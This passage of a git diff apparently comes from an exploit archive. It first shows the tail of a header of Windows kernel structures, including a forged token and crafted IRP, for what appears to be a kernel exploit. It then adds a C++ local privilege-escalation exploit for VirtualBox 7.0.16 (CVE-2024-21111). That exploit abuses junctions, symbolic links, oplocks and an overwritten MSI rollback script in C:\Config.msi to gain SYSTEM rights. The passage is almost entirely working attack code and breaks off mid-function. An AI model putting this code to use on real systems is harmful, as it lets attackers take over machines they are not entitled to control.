UserApcContext; //0x60 + struct _IORING_OBJECT* IoRing; //0x60 + }; + } AsynchronousParameters; //0x58 + union _LARGE_INTEGER AllocationSize; //0x58 + } Overlay; //0x58 + VOID(*CancelRoutine)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); +//0x68 + VOID* UserBuffer; //0x70 + union + { + struct + { + union + { + struct _KDEVICE_QUEUE_ENTRY DeviceQueueEntry; //0x78 + VOID* DriverContext[4]; //0x78 + }; + struct _ETHREAD* Thread; //0x98 + CHAR* AuxiliaryBuffer; //0xa0 + struct _LIST_ENTRY ListEntry; //0xa8 + union + { + struct _IO_STACK_LOCATION* CurrentStackLocation; //0xb8 + ULONG PacketType; //0xb8 + }; + struct _FILE_OBJECT* OriginalFileObject; //0xc0 + VOID* IrpExtension; //0xc8 + } Overlay; //0x78 + struct _KAPC Apc; //0x78 + VOID* CompletionKey; //0x78 + } Tail; //0x78 +}; +typedef struct _TA_ADDRESS +{ + USHORT AddressLength; + USHORT AddressType; + UCHAR Address[1]; +}TA_ADDRESS; + +typedef struct _TRANSPORT_ADDRESS +{ + LONG TAAddressCount; + TA_ADDRESS Address[1]; +}TRANSPORT_ADDRESS; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, * PUNICODE_STRING; + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +}OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + +typedef struct _SYSTEM_MODULE_ENTRY +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} SYSTEM_MODULE_ENTRY, * PSYSTEM_MODULE_ENTRY; + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG Count; + SYSTEM_MODULE_ENTRY Module[1]; +} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX +{ + PVOID Object; + ULONG_PTR UniqueProcessId; + ULONG_PTR HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; + +typedef struct _AFD_CREATE_PACKET { + //FILE_FULL_EA_INFORMATION + ULONG NextEntryOffset; + WORD Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[15]; + + //AFD_CREATE_PACKET + ULONG EndpointFlags; + ULONG GroupID; + ULONG AddressFamily; + ULONG SocketType; + ULONG Protocol; + ULONG SizeOfTransportName; + wchar_t TransportName[16]; + //UCHAR Unkown; +} AFD_CREATE_PACKET; + +enum THREADINFOCLASS { ThreadImpersonationToken = 5 }; + +enum SYSTEM_INFORMATION_CLASS { + SystemModuleInformation = 11, + SystemExtendedHandleInformation = 64 +}; + +typedef enum EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +}; + +typedef struct _AFD_BIND_DATA { + ULONG ShareType; + SOCKADDR_IN addr; +} AFD_BIND_DATA, * PAFD_BIND_DATA; + +typedef struct alignas(16) MY_AFD_CONNECT_INFO +{ + __int64 UseSan; + __int64 hNtSock1; + __int64 Unknown; + __int32 tmp6; + WORD const_16; + sockaddr_in bind; +}; + + +typedef struct FAKE_DATA_ENTRY_QUEUE +{ + DWORD tmp; + LIST_ENTRY nextQueue; + __int64 unknown; + PVOID security_client_context; + __int64 unknown2; + __int64 sizeOfData; + char DATA[0x77FD0]; +}; + +typedef struct _AFD_LISTEN_INFO { + + ULONG unknown; + __int64 MaximumConnectionQueue; +} AFD_LISTEN_INFO, * PAFD_LISTEN_INFO; + + + + + + +typedef struct _SECURITY_CLIENT_CONTEXT +{ + _SECURITY_QUALITY_OF_SERVICE SecurityQos; + void* ClientToken; + unsigned __int8 DirectlyAccessClientToken; + unsigned __int8 DirectAccessEffectiveOnly; + unsigned __int8 ServerIsRemote; + _TOKEN_CONTROL ClientTokenControl; +}SECURITY_CLIENT_CONTEXT, * PSECURITY_CLIENT_CONTEXT; + +struct __declspec(align(8)) _OWNER_ENTRY +{ + unsigned __int64 OwnerThread; + DWORD ___u1; +}; + + +//0x68 bytes (sizeof) +typedef struct _ERESOURCE +{ + struct _LIST_ENTRY SystemResourcesList; //0x0 + struct _OWNER_ENTRY* OwnerTable; //0x10 + SHORT ActiveCount; //0x18 + union + { + USHORT Flag; //0x1a + struct + { + UCHAR ReservedLowFlags; //0x1a + UCHAR WaiterPriority; //0x1b + }; + }; + VOID* SharedWaiters; //0x20 + VOID* ExclusiveWaiters; //0x28 + struct _OWNER_ENTRY OwnerEntry; //0x30 + ULONG ActiveEntries; //0x40 + ULONG ContentionCount; //0x44 + ULONG NumberOfSharedWaiters; //0x48 + ULONG NumberOfExclusiveWaiters; //0x4c + VOID* Reserved2; //0x50 + union + { + VOID* Address; //0x58 + ULONGLONG CreatorBackTraceIndex; //0x58 + }; + ULONGLONG SpinLock; //0x60 +}ERESOURCE, *PERESOURCE; + +//0x8 bytes (sizeof) +typedef struct _EX_PUSH_LOCK +{ + union + { + struct + { + ULONGLONG Locked : 1; //0x0 + ULONGLONG Waiting : 1; //0x0 + ULONGLONG Waking : 1; //0x0 + ULONGLONG MultipleShared : 1; //0x0 + ULONGLONG Shared : 60; //0x0 + }; + ULONGLONG Value; //0x0 + VOID* Ptr; //0x0 + }; +}; + +//0x10 bytes (sizeof) +typedef struct _SEP_CACHED_HANDLES_TABLE +{ + struct _EX_PUSH_LOCK Lock; //0x0 + struct _RTL_DYNAMIC_HASH_TABLE* HashTable; //0x8 +}; + +//0x8 bytes (sizeof) +typedef struct _EX_RUNDOWN_REF +{ + union + { + ULONGLONG Count; //0x0 + VOID* Ptr; //0x0 + }; +}; + +//0x20 bytes (sizeof) +typedef struct _OB_HANDLE_REVOCATION_BLOCK +{ + struct _LIST_ENTRY RevocationInfos; //0x0 + struct _EX_PUSH_LOCK Lock; //0x10 + struct _EX_RUNDOWN_REF Rundown; //0x18 +}; + +//0xc0 bytes (sizeof) +typedef struct _SEP_LOGON_SESSION_REFERENCES +{ + struct _SEP_LOGON_SESSION_REFERENCES* Next; //0x0 + struct _LUID LogonId; //0x8 + struct _LUID BuddyLogonId; //0x10 + LONGLONG ReferenceCount; //0x18 + ULONG Flags; //0x20 + struct _DEVICE_MAP* pDeviceMap; //0x28 + VOID* Token; //0x30 + struct _UNICODE_STRING AccountName; //0x38 + struct _UNICODE_STRING AuthorityName; //0x48 + struct _SEP_CACHED_HANDLES_TABLE CachedHandlesTable; //0x58 + struct _EX_PUSH_LOCK SharedDataLock; //0x68 + struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* SharedClaimAttributes; +//0x70 + struct _SEP_SID_VALUES_BLOCK* SharedSidValues; //0x78 + struct _OB_HANDLE_REVOCATION_BLOCK RevocationBlock; //0x80 + struct _EJOB* ServerSilo; //0xa0 + struct _LUID SiblingAuthId; //0xa8 + struct _LIST_ENTRY TokenList; //0xb0 +}; +//0x30 bytes (sizeof) +typedef struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION +{ + ULONG SecurityAttributeCount; //0x0 + struct _LIST_ENTRY SecurityAttributesList; //0x8 + ULONG WorkingSecurityAttributeCount; //0x18 + struct _LIST_ENTRY WorkingSecurityAttributesList; //0x20 +}AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION; + +//0x20 bytes (sizeof) +typedef struct _SEP_SID_VALUES_BLOCK +{ + ULONG BlockLength; //0x0 + LONGLONG ReferenceCount; //0x8 + ULONG SidCount; //0x10 + ULONGLONG SidValuesStart; //0x18 +}SEP_SID_VALUES_BLOCK,*PSEP_SID_VALUES_BLOCK; + +//0x18 bytes (sizeof) +struct _SEP_TOKEN_PRIVILEGES +{ + ULONGLONG Present; //0x0 + ULONGLONG Enabled; //0x8 + ULONGLONG EnabledByDefault; //0x10 +}; + +//0x1f bytes (sizeof) +struct _SEP_AUDIT_POLICY +{ + struct _TOKEN_AUDIT_POLICY AdtTokenPolicy; //0x0 + UCHAR PolicySetStatus; //0x1e +}; + +//0x498 bytes (sizeof) +struct _TOKEN +{ + struct _TOKEN_SOURCE TokenSource; //0x0 + struct _LUID TokenId; //0x10 + struct _LUID AuthenticationId; //0x18 + struct _LUID ParentTokenId; //0x20 + union _LARGE_INTEGER ExpirationTime; //0x28 + struct _ERESOURCE* TokenLock; //0x30 + struct _LUID ModifiedId; //0x38 + struct _SEP_TOKEN_PRIVILEGES Privileges; //0x40 + struct _SEP_AUDIT_POLICY AuditPolicy; //0x58 + ULONG SessionId; //0x78 + ULONG UserAndGroupCount; //0x7c + ULONG RestrictedSidCount; //0x80 + ULONG VariableLength; //0x84 + ULONG DynamicCharged; //0x88 + ULONG DynamicAvailable; //0x8c + ULONG DefaultOwnerIndex; //0x90 + struct _SID_AND_ATTRIBUTES* UserAndGroups; //0x98 + struct _SID_AND_ATTRIBUTES* RestrictedSids; //0xa0 + VOID* PrimaryGroup; //0xa8 + ULONG* DynamicPart; //0xb0 + struct _ACL* DefaultDacl; //0xb8 + enum _TOKEN_TYPE TokenType; //0xc0 + enum _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; //0xc4 + ULONG TokenFlags; //0xc8 + UCHAR TokenInUse; //0xcc + ULONG IntegrityLevelIndex; //0xd0 + ULONG MandatoryPolicy; //0xd4 + void* LogonSession; //0xd8 + struct _LUID OriginatingLogonSession; //0xe0 + struct _SID_AND_ATTRIBUTES_HASH SidHash; //0xe8 + struct _SID_AND_ATTRIBUTES_HASH RestrictedSidHash; //0x1f8 + struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* +pSecurityAttributes; //0x308 + VOID* Package; //0x310 + struct _SID_AND_ATTRIBUTES* Capabilities; //0x318 + ULONG CapabilityCount; //0x320 + struct _SID_AND_ATTRIBUTES_HASH CapabilitiesHash; //0x328 + struct _SEP_LOWBOX_NUMBER_ENTRY* LowboxNumberEntry; //0x438 + struct _SEP_CACHED_HANDLES_ENTRY* LowboxHandlesEntry; //0x440 + struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* pClaimAttributes; +//0x448 + VOID* TrustLevelSid; //0x450 + struct _TOKEN* TrustLinkedToken; //0x458 + VOID* IntegrityLevelSidValue; //0x460 + struct _SEP_SID_VALUES_BLOCK* TokenSidValues; //0x468 + struct _SEP_LUID_TO_INDEX_MAP_ENTRY* IndexEntry; //0x470 + struct _SEP_TOKEN_DIAG_TRACK_ENTRY* DiagnosticInfo; //0x478 + struct _SEP_CACHED_HANDLES_ENTRY* BnoIsolationHandlesEntry; //0x480 + VOID* SessionObject; //0x488 + ULONGLONG VariablePart; //0x490 +}; + +//0x38 bytes (sizeof) +struct _OBJECT_HEADER +{ + LONGLONG PointerCount; //0x0 + union + { + LONGLONG HandleCount; //0x8 + VOID* NextToFree; //0x8 + }; + struct _EX_PUSH_LOCK Lock; //0x10 + UCHAR TypeIndex; //0x18 + union + { + UCHAR TraceFlags; //0x19 + struct + { + UCHAR DbgRefTrace : 1; //0x19 + UCHAR DbgTracePermanent : 1; //0x19 + }; + }; + UCHAR InfoMask; //0x1a + union + { + UCHAR Flags; //0x1b + struct + { + UCHAR NewObject : 1; //0x1b + UCHAR KernelObject : 1; //0x1b + UCHAR KernelOnlyAccess : 1; //0x1b + UCHAR ExclusiveObject : 1; //0x1b + UCHAR PermanentObject : 1; //0x1b + UCHAR DefaultSecurityQuota : 1; //0x1b + UCHAR SingleHandleEntry : 1; //0x1b + UCHAR DeletedInline : 1; //0x1b + }; + }; + ULONG Reserved; //0x1c + union + { + struct _OBJECT_CREATE_INFORMATION* ObjectCreateInfo; //0x20 + VOID* QuotaBlockCharged; //0x20 + }; + VOID* SecurityDescriptor; //0x28 + struct _TOKEN Body; //0x30 +}; + +struct mm { + void* fake_data_entry; + void* input; + _IRP* crafted_irp; + IO_STACK_LOCATION *crafted_arbitrary_io_stack_location; + void* p_mem_0x30; + void* p_mem_0xD0_2; + _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes; + ACL* VariablePartDefaultDacl; + ACL* VariablePartDefaultDacl2; + _ERESOURCE* TokenLock; + void* PrimaryGroup; + int sizeOfClientTokenAndObjectHeader; + PSEP_SID_VALUES_BLOCK TokenSidValues; + _SECURITY_CLIENT_CONTEXT* security_client_context; + _SEP_LOGON_SESSION_REFERENCES* LogonSession; + _TOKEN* fakeToken; + void *pipe_100_im_control_block; + void* pipe_100_rw_control_block; + void* p_mem_Pipe_hToPipe_1000_rw; + void* p_mem_Pipe_hToPipe_1000_rw_2; + HANDLE hPipeIM; + HANDLE hPipeRW; + HANDLE hFileIM; + HANDLE hFileRW; + HANDLE IncPrimitiveTOKEN; + HANDLE RWPrimitiveTOKEN; +}; + +//0x18 bytes (sizeof) +struct _DISPATCHER_HEADER +{ + union + { + volatile LONG Lock; //0x0 + LONG LockNV; //0x0 + struct + { + UCHAR Type; //0x0 + UCHAR Signalling; //0x1 + UCHAR Size; //0x2 + UCHAR Reserved1; //0x3 + }; + struct + { + UCHAR TimerType; //0x0 + union + { + UCHAR TimerControlFlags; //0x1 + struct + { + UCHAR Absolute : 1; \ No newline at end of file diff --git a/exploits/windows/local/52287.C++ b/exploits/windows/local/52287.C++ new file mode 100644 index 000000000..18232a2e4 --- /dev/null +++ b/exploits/windows/local/52287.C++ @@ -0,0 +1,499 @@ +# Exploit Title: VirtualBox 7.0.16 - Privilege Escalation +# Date: 2025-05-06 +# Exploit Author: Milad Karimi (Ex3ptionaL) +# Contact: miladgrayhat@gmail.com +# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL +# Tested on: Win x64 +# CVE : CVE-2024-21111 + + +#include +#include +#include +#include +#include +#include +#include +#include "resource.h" +#include "def.h" +#include "FileOplock.h" +#pragma comment(lib, "Msi.lib") +#pragma comment(lib, "Shlwapi.lib") +#pragma comment(lib, "wtsapi32") +#pragma comment(lib, "PathCch.lib") +#pragma comment(lib, "rpcrt4.lib") +#pragma warning(disable:4996) +struct __declspec(uuid("74AB5FFE-8726-4435-AA7E-876D705BCBA5")) +CLSID_VBoxSDS; +FileOpLock* oplock; +HANDLE hFile, vb11, h; +HANDLE hthread; +NTSTATUS retcode; +HMODULE hm = GetModuleHandle(NULL); +HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs"); +DWORD RbsSize = SizeofResource(hm, res); +void* RbsBuff = LoadResource(hm, res); +WCHAR dir[MAX_PATH] = { 0x0 }; +wchar_t filen[MAX_PATH] = { 0x0 }; +DWORD WINAPI install(void*); +BOOL Move(HANDLE hFile); +void callback(); +HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD +dispostion); +LPWSTR BuildPath(LPCWSTR path); +void loadapis(); +VOID cb1(); +VOID cb0(); +BOOL Monitor(HANDLE hDir); +BOOL clearDataDir(); +BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) { + HANDLE hJunction; + DWORD cb; + wchar_t printname[] = L""; + HANDLE hDir; + hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, +OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); + if (hDir == INVALID_HANDLE_VALUE) { + printf("[!] Failed to obtain handle on directory %ls.\n", dir); + return FALSE; + } + SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR); + SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR); + SIZE_T PathLen = TargetLen + PrintnameLen + 12; + SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, +GenericReparseBuffer.DataBuffer)); + PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize); + Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; + Data->ReparseDataLength = PathLen; + Data->Reserved = 0; + Data->MountPointReparseBuffer.SubstituteNameOffset = 0; + Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen; + memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2); + Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2); + Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen; + memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, +printname, PrintnameLen + 2); + if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, +0, &cb, NULL) != 0) + { + printf("[+] Junction %ls -> %ls created!\n", dir, target); + free(Data); + return TRUE; + } + else + { + printf("[!] Error: %d. Exiting\n", GetLastError()); + free(Data); + return FALSE; + } +} +BOOL DeleteJunction(LPCWSTR path) { + REPARSE_GUID_DATA_BUFFER buffer = { 0 }; + BOOL ret; + buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; + DWORD cb = 0; + IO_STATUS_BLOCK io; + HANDLE hDir; + hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, +OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL); + if (hDir == INVALID_HANDLE_VALUE) { + printf("[!] Failed to obtain handle on directory %ls.\n", path); + printf("%d\n", GetLastError()); + return FALSE; + } + ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer, +REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL); + if (ret == 0) { + printf("Error: %d\n", GetLastError()); + return FALSE; + } + else + { + printf("[+] Junction %ls delete!\n", dir); + return TRUE; + } +} +BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) { + if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, +target)) { + printf("[+] Symlink %ls -> %ls created!\n", object, target); + return TRUE; + } + else + { + printf("error :%d\n", GetLastError()); + return FALSE; + } +} +BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) { + if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | +DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) { + printf("[+] Symlink %ls -> %ls deleted!\n", object, target); + return TRUE; + } + else + { + printf("error :%d\n", GetLastError()); + return FALSE; + } +} +void runSDS(int delay) { + if (delay == 1) { + printf("[!] sleeping for 2 sec\n"); + Sleep(2000); + } + CoInitialize(NULL); + LPVOID ppv; + // 1st trigger to create VBoxSDS.log dir + CoCreateInstance(__uuidof(CLSID_VBoxSDS), 0, CLSCTX_LOCAL_SERVER, +IID_IUnknown, &ppv); + CoUninitialize(); +} +BOOL checkSDSLog() { + BOOL clear = FALSE; + std::wstring vboxDataDir = L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.*"; + HANDLE hFind; + WIN32_FIND_DATA data; + hFind = FindFirstFile(LPCWSTR(vboxDataDir.c_str()), &data); + // iterate first VBoxSDS.log + FindNextFile(hFind, &data); + if (hFind != INVALID_HANDLE_VALUE) { + do { + if (wcswcs(data.cFileName, L"VBoxSDS.log.")) { + runSDS(0); + //wprintf(L"%s\n", data.cFileName); + } + else { + printf("[+] Logs have been cleared!\n"); + clear = TRUE; + } + //wprintf(L"%s\n", data.cFileName); + } while (FindNextFile(hFind, &data)); + FindClose(hFind); + } + //printf("CLEAR: %d\n", clear); + return clear; +} +BOOL enumProc(const wchar_t* procName) { + PWTS_PROCESS_INFO processes{}; + BOOL ok = FALSE; + DWORD count; + if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &processes, +&count)) { + for (DWORD i = 0; i < count; i++) { + if (wcswcs(processes[i].pProcessName, procName)) { + wprintf(L"[!] Process active: %s with PID %d\n", +processes[i].pProcessName, processes[i].ProcessId); + ok = TRUE; + break; + } + } + } + else { + printf("err: %d\n", GetLastError()); + } + WTSFreeMemory(processes); + return ok; +} +void checkIfExists() { + if (enumProc(L"VirtualBoxVM.exe")) { + printf("[!] You seem to have active VMs running, please stop them before +running this to prevent corruption of any saved data of the VMs.\n"); + exit(1); + } + if (enumProc(L"VirtualBox.exe")) { + printf("[!] VirtualBox process active\n"); + // message + printf("[!] Trying to exit virtualbox by postmessage close window\n"); + PostMessage(FindWindow(NULL, TEXT("Oracle VM VirtualBox Manager")), +WM_CLOSE, NULL, NULL); + printf("[!] Letting VBoxSDS exit (wait 12 seconds)\n\n"); + Sleep(12000); + if (enumProc(L"VBoxSDS.exe")) { + printf("[-] error stopping vboxsds\n"); + exit(1); + } + else { + printf("[+] Success stopping vboxsds!\n"); + } + } +} +BOOL clearDataDir() { + do { + vb11 = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE, +FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, +FILE_FLAG_OVERLAPPED, NULL); + printf("h: %x %d\n", vb11, GetLastError()); + } while (vb11 == INVALID_HANDLE_VALUE); + oplock = FileOpLock::CreateLock(vb11, cb1); + if (oplock != NULL) { + HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, NULL, 0, +NULL); + oplock->WaitForLock(INFINITE); + CloseHandle(c); + } + BOOL isEmpty = FALSE; + do { + isEmpty = checkSDSLog(); + } while (isEmpty == FALSE); + if (!RemoveDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log")) { + printf("error removing vboxlog dir\n"); + exit(1); + } + return isEmpty; +} +int wmain() { + loadapis(); + checkIfExists(); + clearDataDir(); + hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | +DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); + if (hFile == INVALID_HANDLE_VALUE) + { + printf("[!] Failed to create C:\\Config.msi directory. Trying to delete +it.\n"); + install(NULL); + hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | +DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); + if (hFile != INVALID_HANDLE_VALUE) + { + printf("[+] Successfully removed and recreated C:\\Config.Msi.\n"); + } + else + { + printf("[!] Failed. Cannot remove c:\\Config.msi"); + //return 1; + } + } + if (!PathIsDirectoryEmpty(L"C:\\Config.Msi")) + { + printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n"); + //return 1; + } + printf("[+] Config.msi directory created!\n"); + HANDLE hDir = +getDirectoryHandle(BuildPath(L"C:\\ProgramData\\VirtualBox"), GENERIC_READ, +FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); + printf("hDir: %x\n", hDir); + //Monitor(hDir); + HANDLE zxc{}; + zxc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Monitor, hDir, 0, +NULL); + SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS); + SetThreadPriorityBoost(GetCurrentThread(), TRUE); // This lets us maintain +express control of our priority + SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); + oplock = FileOpLock::CreateLock(hFile, callback); + if (oplock != nullptr) { + oplock->WaitForLock(INFINITE); + delete oplock; + } + do { + hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | +WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | +FILE_SHARE_DELETE, FILE_OPEN_IF); + } while (!hFile); + char buff[4096]; + DWORD retbt = 0; + FILE_NOTIFY_INFORMATION* fn; + WCHAR* extension; + WCHAR* extension2; + do { + ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE, +FILE_NOTIFY_CHANGE_FILE_NAME, + &retbt, NULL, NULL); + fn = (FILE_NOTIFY_INFORMATION*)buff; + size_t sz = fn->FileNameLength / sizeof(WCHAR); + fn->FileName[sz] = '\0'; + extension = fn->FileName; + PathCchFindExtension(extension, MAX_PATH, &extension2); + } while (wcscmp(extension2, L".rbs") != 0); + SetSecurityInfo(hFile, SE_FILE_OBJECT, +UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, +NULL, NULL, NULL); + while (!Move(hFile)) { + } + HANDLE cfg_h = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), +FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, +FILE_CREATE); + WCHAR rbsfile[MAX_PATH]; + _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName); + HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | +FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, +FILE_ATTRIBUTE_NORMAL, NULL); + if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) { + printf("[+] Rollback script overwritten!\n"); + } + else + { + printf("[!] Failed to overwrite rbs file!\n"); + } + CloseHandle(rbs); + CloseHandle(cfg_h); + DeleteJunction(dir); + CloseHandle(zxc); + WCHAR asdfasdf[MAX_PATH]; + _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen); + DelDosDeviceSymLink(asdfasdf, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION"); + return 0; +} +DWORD WINAPI install(void*) { + HMODULE hm = GetModuleHandle(NULL); + HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi"); + wchar_t msipackage[MAX_PATH] = { 0x0 }; + GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage); + printf("[*] MSI file: %ls\n", msipackage); + DWORD MsiSize = SizeofResource(hm, res); + void* MsiBuff = LoadResource(hm, res); + HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, +FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, +CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL); + CloseHandle(pkg); + MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); + UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL"); + printf("%d\n", a); + MsiInstallProduct(msipackage, L"REMOVE=ALL"); + DeleteFile(msipackage); + return 0; +} +BOOL Move(HANDLE hFile) { + if (hFile == INVALID_HANDLE_VALUE) { + printf("[!] Invalid handle!\n"); + return FALSE; + } + wchar_t tmpfile[MAX_PATH] = { 0x0 }; + RPC_WSTR str_uuid; + UUID uuid = { 0 }; + UuidCreate(&uuid); + UuidToString(&uuid, &str_uuid); + _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid); + size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * +sizeof(wchar_t)); + FILE_RENAME_INFO* rename_info = +(FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | +HEAP_GENERATE_EXCEPTIONS, buffer_sz); + IO_STATUS_BLOCK io = { 0 }; + rename_info->ReplaceIfExists = TRUE; + rename_info->RootDirectory = NULL; + rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; + rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); + memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * +sizeof(wchar_t)); + NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, +buffer_sz, 65); + if (status != 0) { + return FALSE; + } + return TRUE; +} +void callback() { + SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS); + Move(hFile); + hthread = CreateThread(NULL, NULL, install, NULL, NULL, NULL); + HANDLE hd; + do { + hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, +FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); + } while (!hd); + do { + CloseHandle(hd); + hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, +FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); + } while (hd); + CloseHandle(hd); + do { + hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, +FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); + CloseHandle(hd); + } while (retcode != 0xC0000022); +} +HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD +dispostion) { + UNICODE_STRING ufile; + HANDLE hDir; + pRtlInitUnicodeString(&ufile, file); + OBJECT_ATTRIBUTES oa = { 0 }; + IO_STATUS_BLOCK io = { 0 }; + InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL); + retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, +FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | +FILE_OPEN_REPARSE_POINT, NULL, NULL); + if 